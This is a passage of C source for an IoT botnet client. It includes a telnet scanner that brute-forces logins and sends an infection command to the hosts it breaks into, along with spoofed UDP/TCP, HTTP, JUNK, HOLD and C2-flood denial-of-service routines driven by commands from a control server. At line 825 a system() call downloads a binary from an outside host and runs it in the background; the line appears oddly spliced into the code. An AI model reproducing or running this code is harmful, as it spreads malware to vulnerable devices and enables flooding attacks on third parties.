  824.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  825.                     system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  826.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  827.                                         else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  828.                                 }
  829.                                 break;
  830.  
  831.                         case 1:
  832.                                 {
  833.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  834.  
  835.                                         FD_ZERO(&myset);
  836.                                         FD_SET(fds[i].fd, &myset);
  837.                                         tv.tv_sec = 0;
  838.                                         tv.tv_usec = 10000;
  839.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  840.                                         if(res == 1)
  841.                                         {
  842.                                                 lon = sizeof(int);
  843.                                                 valopt = 0;
  844.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  845.                                                 if(valopt)
  846.                                                 {
  847.                                                         sclose(fds[i].fd);
  848.                                                         fds[i].state = 0;
  849.                                                         fds[i].complete = 1;
  850.                                                 } else {
  851.                                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  852.                                                         fds[i].totalTimeout = 0;
  853.                                                         fds[i].bufUsed = 0;
  854.                                                         memset(fds[i].sockbuf, 0, 1024);
  855.                                                         fds[i].state = 2;
  856.                                                         continue;
  857.                                                 }
  858.                                         } else if(res == -1)
  859.                                         {
  860.                                                 sclose(fds[i].fd);
  861.                                                 fds[i].state = 0;
  862.                                                 fds[i].complete = 1;
  863.                                         }
  864.  
  865.                                         if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL))
  866.                                         {
  867.                                                 sclose(fds[i].fd);
  868.                                                 fds[i].state = 0;
  869.                                                 fds[i].complete = 1;
  870.                                         }
  871.                                 }
  872.                                 break;
  873.  
  874.                         case 2:
  875.                                 {
  876.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  877.                     if(matchPrompt(fds[i].sockbuf)) {
  878.                                     fds[i].state = 7;
  879.                                 }
  880.  
  881.                                         if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  882.                                         {
  883.                                                 fds[i].totalTimeout = 0;
  884.                                                 fds[i].bufUsed = 0;
  885.                                                 memset(fds[i].sockbuf, 0, 1024);
  886.                                                 fds[i].state = 3;
  887.                                                 continue;
  888.                                         } else if(readUntil(fds[i].fd, "sername:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  889.                                         {
  890.                                                 fds[i].totalTimeout = 0;
  891.                                                 fds[i].bufUsed = 0;
  892.                                                 memset(fds[i].sockbuf, 0, 1024);
  893.                                                 fds[i].state = 3;
  894.                                                 continue;
  895.                                         }else if(readUntil(fds[i].fd, "assword:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  896.                                         {
  897.                                                 fds[i].totalTimeout = 0;
  898.                                                 fds[i].bufUsed = 0;
  899.                                                 memset(fds[i].sockbuf, 0, 1024);
  900.                                                 fds[i].state = 5;
  901.                                                 continue;
  902.                                         }else {
  903.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  904.                                         }
  905.  
  906.                                         if(fds[i].totalTimeout + 20 < time(NULL))
  907.                                         {
  908.                                                 sclose(fds[i].fd);
  909.                                                 fds[i].state = 0;
  910.                                                 fds[i].complete = 1;
  911.                                         }
  912.                                 }
  913.                                 break;
  914.  
  915.                         case 3:
  916.                                 {
  917.                                         if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  918.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  919.                                         fds[i].state = 4;
  920.                                 }
  921.                                 break;
  922.  
  923.                         case 4:
  924.                                 {
  925.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  926.  
  927.                                         if(matchPrompt(fds[i].sockbuf)) {
  928.                                             fds[i].state = 7;
  929.                                         }
  930.                                        
  931.                                         if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  932.                                         {
  933.                                                 fds[i].totalTimeout = 0;
  934.                                                 fds[i].bufUsed = 0;
  935.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  936.                                                 else fds[i].state = 7;
  937.                                                 memset(fds[i].sockbuf, 0, 1024);
  938.                                                 continue;
  939.                                         } else {
  940.                                                 if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  941.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  942.                                         }
  943.  
  944.                                         if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL))
  945.                                         {
  946.                                                 sclose(fds[i].fd);
  947.                                                 fds[i].state = 0;
  948.                                                 fds[i].complete = 1;
  949.                                         }
  950.                                 }
  951.                                 break;
  952.  
  953.                         case 5:
  954.                                 {
  955.                                         if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  956.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  957.                                         fds[i].state = 6;
  958.                                 }
  959.                                 break;
  960.  
  961.                         case 6:
  962.                                 {
  963.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  964.                                        
  965.                                         if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  966.                                         {
  967.                                                 fds[i].totalTimeout = 0;
  968.                                                 fds[i].bufUsed = 0;
  969.                                                 if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  970.                                                 if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  971.                                                 else fds[i].state = 7;
  972.                                                 memset(fds[i].sockbuf, 0, 1024);
  973.                                                 continue;
  974.                                         } else {
  975.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  976.                                         }
  977.  
  978.                                         if(fds[i].totalTimeout + 20 < time(NULL))
  979.                                         {
  980.                                                 sclose(fds[i].fd);
  981.                                                 fds[i].state = 0;
  982.                                                 fds[i].complete = 1;
  983.                                         }
  984.                                 }
  985.                                 break;
  986.  
  987.             case 7:
  988.                 {
  989.                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  990.                     fds[i].state = 8;
  991.                 }
  992.                 break;
  993.            
  994.             case 8:
  995.                 {
  996.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  997.                    
  998.                     if(send(fds[i].fd, infectline, strlen(infectline), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
  999.                  
  1000.                     if(fds[i].totalTimeout + 15 < time(NULL))
  1001.                     {
  1002.                         sclose(fds[i].fd);
  1003.                         fds[i].state = 0;
  1004.                         fds[i].complete = 1;
  1005.                     }
  1006.                 }
  1007.                 break;
  1008.             }
  1009.         }
  1010.     }
  1011. }
  1012.  
  1013. void sendSTD(unsigned char *ip, int port, int secs) {
  1014.  
  1015.     int iSTD_Sock;
  1016.  
  1017.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1018.  
  1019.     time_t start = time(NULL);
  1020.  
  1021.     struct sockaddr_in sin;
  1022.  
  1023.     struct hostent *hp;
  1024.  
  1025.     hp = gethostbyname(ip);
  1026.  
  1027.     bzero((char*) &sin,sizeof(sin));
  1028.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1029.     sin.sin_family = hp->h_addrtype;
  1030.     sin.sin_port = port;
  1031.  
  1032.     unsigned int a = 0;
  1033.  
  1034.     while(1){
  1035.         if (a >= 50)
  1036.         {
  1037.             send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1038.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1039.             if (time(NULL) >= start + secs)
  1040.             {
  1041.                 close(iSTD_Sock);
  1042.                 _exit(0);
  1043.             }
  1044.             a = 0;
  1045.         }
  1046.         a++;
  1047.     }
  1048.    
  1049.  
  1050. }
  1051.  
  1052. void sendUNKNOWN(unsigned char *ip, int port, int secs) {
  1053.    
  1054. }
  1055. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1056. {
  1057.         struct sockaddr_in dest_addr;
  1058.  
  1059.         dest_addr.sin_family = AF_INET;
  1060.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1061.         else dest_addr.sin_port = htons(port);
  1062.         if(getHost(target, &dest_addr.sin_addr)) return;
  1063.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1064.  
  1065.         register unsigned int pollRegister;
  1066.         pollRegister = pollinterval;
  1067.  
  1068.         if(spoofit == 32)
  1069.         {
  1070.                 int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1071.                 if(!sockfd)
  1072.                 {
  1073.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1074.                         return;
  1075.                 }
  1076.  
  1077.                 unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1078.                 if(buf == NULL) return;
  1079.                 memset(buf, 0, packetsize + 1);
  1080.                 makeRandomStr(buf, packetsize);
  1081.  
  1082.                 int end = time(NULL) + timeEnd;
  1083.                 register unsigned int i = 0;
  1084.                 while(1)
  1085.                 {
  1086.                         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1087.  
  1088.                         if(i == pollRegister)
  1089.                         {
  1090.                                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1091.                                 if(time(NULL) > end) break;
  1092.                                 i = 0;
  1093.                                 continue;
  1094.                         }
  1095.                         i++;
  1096.                 }
  1097.         } else {
  1098.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1099.                 if(!sockfd)
  1100.                 {
  1101.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1102.                         //sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1103.                         return;
  1104.                 }
  1105.  
  1106.                 int tmp = 1;
  1107.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1108.                 {
  1109.                         sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1110.                         return;
  1111.                 }
  1112.  
  1113.                 int counter = 50;
  1114.                 while(counter--)
  1115.                 {
  1116.                         srand(time(NULL) ^ rand_cmwc());
  1117.                         init_rand(rand());
  1118.                 }
  1119.  
  1120.                 in_addr_t netmask;
  1121.  
  1122.                 if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1123.                 else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1124.  
  1125.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1126.                 struct iphdr *iph = (struct iphdr *)packet;
  1127.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1128.  
  1129.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1130.  
  1131.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1132.                 udph->source = rand_cmwc();
  1133.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1134.                 udph->check = 0;
  1135.  
  1136.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1137.  
  1138.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1139.  
  1140.                 int end = time(NULL) + timeEnd;
  1141.                 register unsigned int i = 0;
  1142.                 while(1)
  1143.                 {
  1144.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1145.  
  1146.                         udph->source = rand_cmwc();
  1147.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1148.                         iph->id = rand_cmwc();
  1149.                         iph->saddr = htonl( getRandomIP(netmask) );
  1150.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1151.  
  1152.                         if(i == pollRegister)
  1153.                         {
  1154.                                 if(time(NULL) > end) break;
  1155.                                 i = 0;
  1156.                                 continue;
  1157.                         }
  1158.                         i++;
  1159.                 }
  1160.         }
  1161. }
  1162.  
  1163. //CNC Botnet Flood, Created By Void
  1164. //Floods The Admin Port With Operators And Sometimes Crashes The Server
  1165. void sendCNC(unsigned char *ip,int port, int end_time)
  1166. {
  1167.     int end = time(NULL) + end_time;
  1168.     int sockfd;
  1169.     struct sockaddr_in server;
  1170.     //sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1171.    
  1172.     server.sin_addr.s_addr = inet_addr(ip);
  1173.     server.sin_family = AF_INET;
  1174.     server.sin_port = htons(port);
  1175.    
  1176.     while(end > time(NULL))
  1177.     {
  1178.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1179.         connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  1180.         sleep(1);
  1181.         close(sockfd);
  1182.     }
  1183.    
  1184. }
  1185.  
  1186. void sendHTTP(unsigned char *url, int end_time)
  1187. {
  1188.     int end = time(NULL) + end_time;
  1189.     FILE *pf;
  1190.     char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  1191.    
  1192.     char *command[80];
  1193.     sprintf(command,"wget -s -U \"");
  1194.     strcat(command, UA);
  1195.     strcat(command,"\" -q ");
  1196.     strcat(command, url);
  1197.    
  1198.     while(end > time(NULL))
  1199.     {
  1200.         UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  1201.         sprintf(command,"wget -s -U \"");
  1202.         strcat(command, UA);
  1203.         strcat(command,"\" -q ");
  1204.         strcat(command, url);
  1205.         system(command);
  1206.     }
  1207.    
  1208. }
  1209.  
  1210. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1211. {
  1212.         register unsigned int pollRegister;
  1213.         pollRegister = pollinterval;
  1214.  
  1215.         struct sockaddr_in dest_addr;
  1216.  
  1217.         dest_addr.sin_family = AF_INET;
  1218.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1219.         else dest_addr.sin_port = htons(port);
  1220.         if(getHost(target, &dest_addr.sin_addr)) return;
  1221.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1222.  
  1223.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1224.         if(!sockfd)
  1225.         {
  1226.                 sockprintf(mainCommSock, "Failed opening raw socket.");
  1227.                 return;
  1228.         }
  1229.  
  1230.         int tmp = 1;
  1231.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1232.         {
  1233.                 sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1234.                 return;
  1235.         }
  1236.  
  1237.         in_addr_t netmask;
  1238.  
  1239.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1240.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1241.  
  1242.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1243.         struct iphdr *iph = (struct iphdr *)packet;
  1244.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1245.  
  1246.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1247.  
  1248.         tcph->source = rand_cmwc();
  1249.         tcph->seq = rand_cmwc();
  1250.         tcph->ack_seq = 0;
  1251.         tcph->doff = 5;
  1252.  
  1253.         if(!strcmp(flags, "all"))
  1254.         {
  1255.                 tcph->syn = 1;
  1256.                 tcph->rst = 1;
  1257.                 tcph->fin = 1;
  1258.                 tcph->ack = 1;
  1259.                 tcph->psh = 1;
  1260.         } else {
  1261.                 unsigned char *pch = strtok(flags, ",");
  1262.                 while(pch)
  1263.                 {
  1264.                         if(!strcmp(pch,         "syn"))
  1265.                         {
  1266.                                 tcph->syn = 1;
  1267.                         } else if(!strcmp(pch,  "rst"))
  1268.                         {
  1269.                                 tcph->rst = 1;
  1270.                         } else if(!strcmp(pch,  "fin"))
  1271.                         {
  1272.                                 tcph->fin = 1;
  1273.                         } else if(!strcmp(pch,  "ack"))
  1274.                         {
  1275.                                 tcph->ack = 1;
  1276.                         } else if(!strcmp(pch,  "psh"))
  1277.                         {
  1278.                                 tcph->psh = 1;
  1279.                         } else {
  1280.                                 sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1281.                         }
  1282.                         pch = strtok(NULL, ",");
  1283.                 }
  1284.         }
  1285.  
  1286.         tcph->window = rand_cmwc();
  1287.         tcph->check = 0;
  1288.         tcph->urg_ptr = 0;
  1289.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1290.         tcph->check = tcpcsum(iph, tcph);
  1291.  
  1292.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1293.  
  1294.         int end = time(NULL) + timeEnd;
  1295.         register unsigned int i = 0;
  1296.         while(1)
  1297.         {
  1298.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1299.  
  1300.                 iph->saddr = htonl( getRandomIP(netmask) );
  1301.                 iph->id = rand_cmwc();
  1302.                 tcph->seq = rand_cmwc();
  1303.                 tcph->source = rand_cmwc();
  1304.                 tcph->check = 0;
  1305.                 tcph->check = tcpcsum(iph, tcph);
  1306.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1307.  
  1308.                 if(i == pollRegister)
  1309.                 {
  1310.                         if(time(NULL) > end) break;
  1311.                         i = 0;
  1312.                         continue;
  1313.                 }
  1314.                 i++;
  1315.         }
  1316. }
  1317.  
  1318. void sendJUNK(unsigned char *ip, int port, int end_time)
  1319. {
  1320.  
  1321.         int max = getdtablesize() / 2, i;
  1322.  
  1323.         struct sockaddr_in dest_addr;
  1324.         dest_addr.sin_family = AF_INET;
  1325.         dest_addr.sin_port = htons(port);
  1326.         if(getHost(ip, &dest_addr.sin_addr)) return;
  1327.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1328.  
  1329.         struct state_t
  1330.         {
  1331.                 int fd;
  1332.                 uint8_t state;
  1333.         } fds[max];
  1334.         memset(fds, 0, max * (sizeof(int) + 1));
  1335.  
  1336.         fd_set myset;
  1337.         struct timeval tv;
  1338.         socklen_t lon;
  1339.         int valopt, res;
  1340.  
  1341.         unsigned char *watwat = malloc(1024);
  1342.         memset(watwat, 0, 1024);
  1343.  
  1344.         int end = time(NULL) + end_time;
  1345.         while(end > time(NULL))
  1346.         {
  1347.                 for(i = 0; i < max; i++)
  1348.                 {
  1349.                         switch(fds[i].state)
  1350.                         {
  1351.                         case 0:
  1352.                                 {
  1353.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1354.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1355.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1356.                                         else fds[i].state = 1;
  1357.                                 }
  1358.                                 break;
  1359.  
  1360.                         case 1:
  1361.                                 {
  1362.                                         FD_ZERO(&myset);
  1363.                                         FD_SET(fds[i].fd, &myset);
  1364.                                         tv.tv_sec = 0;
  1365.                                         tv.tv_usec = 10000;
  1366.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1367.                                         if(res == 1)
  1368.                                         {
  1369.                                                 lon = sizeof(int);
  1370.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1371.                                                 if(valopt)
  1372.                                                 {
  1373.                                                         close(fds[i].fd);
  1374.                                                         fds[i].state = 0;
  1375.                                                 } else {
  1376.                                                         fds[i].state = 2;
  1377.                                                 }
  1378.                                         } else if(res == -1)
  1379.                                         {
  1380.                                                 close(fds[i].fd);
  1381.                                                 fds[i].state = 0;
  1382.                                         }
  1383.                                 }
  1384.                                 break;
  1385.  
  1386.                         case 2:
  1387.                                 {
  1388.                                         makeRandomStr(watwat, 1024);
  1389.                                         if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1390.                                         {
  1391.                                                 close(fds[i].fd);
  1392.                                                 fds[i].state = 0;
  1393.                                         }
  1394.                                 }
  1395.                                 break;
  1396.                         }
  1397.                 }
  1398.         }
  1399. }
  1400.  
  1401. void sendHOLD(unsigned char *ip, int port, int end_time)
  1402. {
  1403.  
  1404.         int max = getdtablesize() / 2, i;
  1405.  
  1406.         struct sockaddr_in dest_addr;
  1407.         dest_addr.sin_family = AF_INET;
  1408.         dest_addr.sin_port = htons(port);
  1409.         if(getHost(ip, &dest_addr.sin_addr)) return;
  1410.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1411.  
  1412.         struct state_t
  1413.         {
  1414.                 int fd;
  1415.                 uint8_t state;
  1416.         } fds[max];
  1417.         memset(fds, 0, max * (sizeof(int) + 1));
  1418.  
  1419.         fd_set myset;
  1420.         struct timeval tv;
  1421.         socklen_t lon;
  1422.         int valopt, res;
  1423.  
  1424.         unsigned char *watwat = malloc(1024);
  1425.         memset(watwat, 0, 1024);
  1426.  
  1427.         int end = time(NULL) + end_time;
  1428.         while(end > time(NULL))
  1429.         {
  1430.                 for(i = 0; i < max; i++)
  1431.                 {
  1432.                         switch(fds[i].state)
  1433.                         {
  1434.                         case 0:
  1435.                                 {
  1436.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1437.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1438.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1439.                                         else fds[i].state = 1;
  1440.                                 }
  1441.                                 break;
  1442.  
  1443.                         case 1:
  1444.                                 {
  1445.                                         FD_ZERO(&myset);
  1446.                                         FD_SET(fds[i].fd, &myset);
  1447.                                         tv.tv_sec = 0;
  1448.                                         tv.tv_usec = 10000;
  1449.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1450.                                         if(res == 1)
  1451.                                         {
  1452.                                                 lon = sizeof(int);
  1453.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1454.                                                 if(valopt)
  1455.                                                 {
  1456.                                                         close(fds[i].fd);
  1457.                                                         fds[i].state = 0;
  1458.                                                 } else {
  1459.                                                         fds[i].state = 2;
  1460.                                                 }
  1461.                                         } else if(res == -1)
  1462.                                         {
  1463.                                                 close(fds[i].fd);
  1464.                                                 fds[i].state = 0;
  1465.                                         }
  1466.                                 }
  1467.                                 break;
  1468.  
  1469.                         case 2:
  1470.                                 {
  1471.                                         FD_ZERO(&myset);
  1472.                                         FD_SET(fds[i].fd, &myset);
  1473.                                         tv.tv_sec = 0;
  1474.                                         tv.tv_usec = 10000;
  1475.                                         res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1476.                                         if(res != 0)
  1477.                                         {
  1478.                                                 close(fds[i].fd);
  1479.                                                 fds[i].state = 0;
  1480.                                         }
  1481.                                 }
  1482.                                 break;
  1483.                         }
  1484.                 }
  1485.         }
  1486. }
  1487.  
  1488. void processCmd(int argc, unsigned char *argv[])
  1489. {
  1490.     int x;
  1491.         if(!strcmp(argv[0], "PING"))
  1492.         {
  1493.                 sockprintf(mainCommSock, "PONG!");
  1494.                 return;
  1495.         }
  1496.  
  1497.         if(!strcmp(argv[0], "GETLOCALIP"))
  1498.         {
  1499.                 sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1500.                 return;
  1501.         }
  1502.  
  1503.         if(!strcmp(argv[0], "SCANNER"))
  1504.         {
  1505.                 if(argc != 2)
  1506.                 {
  1507.                         sockprintf(mainCommSock, "SCANNER ON | OFF");
  1508.                         return;
  1509.                 }
  1510.  
  1511.                 if(!strcmp(argv[1], "OFF"))
  1512.                 {
  1513.                         if(scanPid == 0) return;
  1514.                         kill(scanPid, 9);
  1515.                         sockprintf(mainCommSock, "REMOVING PROBE");
  1516.                         scanPid = 0;
  1517.                 }
  1518.  
  1519.                 if(!strcmp(argv[1], "ON"))
  1520.                 {
  1521.                         if(scanPid != 0) return;
  1522.                         uint32_t parent;
  1523.                         parent = fork();
  1524.                        
  1525.                         if (parent > 0) { scanPid = parent; return;}
  1526.                         else if(parent == -1) return;
  1527.                         sockprintf(mainCommSock, "PROBING");
  1528.                         StartTheLelz();
  1529.                         _exit(0);
  1530.                 }
  1531.         }
  1532.    
  1533.         if(!strcmp(argv[0], "HOLD"))
  1534.         {
  1535.                 if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1536.                 {
  1537.                         //sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
  1538.                         return;
  1539.                 }
  1540.  
  1541.                 unsigned char *ip = argv[1];
  1542.                 int port = atoi(argv[2]);
  1543.                 int time = atoi(argv[3]);
  1544.  
  1545.                 if(strstr(ip, ",") != NULL)
  1546.                 {
  1547.                         unsigned char *hi = strtok(ip, ",");
  1548.                         while(hi != NULL)
  1549.                         {
  1550.                                 if(!listFork())
  1551.                                 {
  1552.                                         sendHOLD(hi, port, time);
  1553.                                         _exit(0);
  1554.                                 }
  1555.                                 hi = strtok(NULL, ",");
  1556.                         }
  1557.                 } else {
  1558.                         if (listFork()) { return; }
  1559.  
  1560.                         sendHOLD(ip, port, time);
  1561.                         _exit(0);
  1562.                 }
  1563.         }
  1564.  
  1565.         if(!strcmp(argv[0], "JUNK"))
  1566.         {
  1567.                 if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1568.                 {
  1569.                         //sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
  1570.                         return;
  1571.                 }
  1572.  
  1573.                 unsigned char *ip = argv[1];
  1574.                 int port = atoi(argv[2]);
  1575.                 int time = atoi(argv[3]);
  1576.  
  1577.                 if(strstr(ip, ",") != NULL)
  1578.                 {
  1579.                         unsigned char *hi = strtok(ip, ",");
  1580.                         while(hi != NULL)
  1581.                         {
  1582.                                 if(!listFork())
  1583.                                 {
  1584.                                         sendJUNK(hi, port, time);
  1585.                                         close(mainCommSock);
  1586.                                         _exit(0);
  1587.                                 }
  1588.                                 hi = strtok(NULL, ",");
  1589.                         }
  1590.                 } else {
  1591.                         if (listFork()) { return; }
  1592.  
  1593.                         sendJUNK(ip, port, time);
  1594.                         _exit(0);
  1595.                 }
  1596.         }
  1597.  
  1598.         if(!strcmp(argv[0], "UDP"))
  1599.         {
  1600.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1601.                 {
  1602.                         //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  1603.                         return;
  1604.                 }
  1605.  
  1606.                 unsigned char *ip = argv[1];
  1607.                 int port = atoi(argv[2]);
  1608.                 int time = atoi(argv[3]);
  1609.                 int spoofed = atoi(argv[4]);
  1610.                 int packetsize = atoi(argv[5]);
  1611.                 int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1612.  
  1613.                 if(strstr(ip, ",") != NULL)
  1614.                 {
  1615.                         unsigned char *hi = strtok(ip, ",");
  1616.                         while(hi != NULL)
  1617.                         {
  1618.                                 if(!listFork())
  1619.                                 {
  1620.                                         sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1621.                                         _exit(0);
  1622.                                 }
  1623.                                 hi = strtok(NULL, ",");
  1624.                         }
  1625.                 } else {
  1626.                         if (listFork()) { return; }
  1627.  
  1628.                         sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1629.                         _exit(0);
  1630.                 }
  1631.         }
  1632.        
  1633.         if(!strcmp(argv[0], "STD"))
  1634.         {
  1635.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1636.             {
  1637.                        
  1638.                         return;
  1639.             }
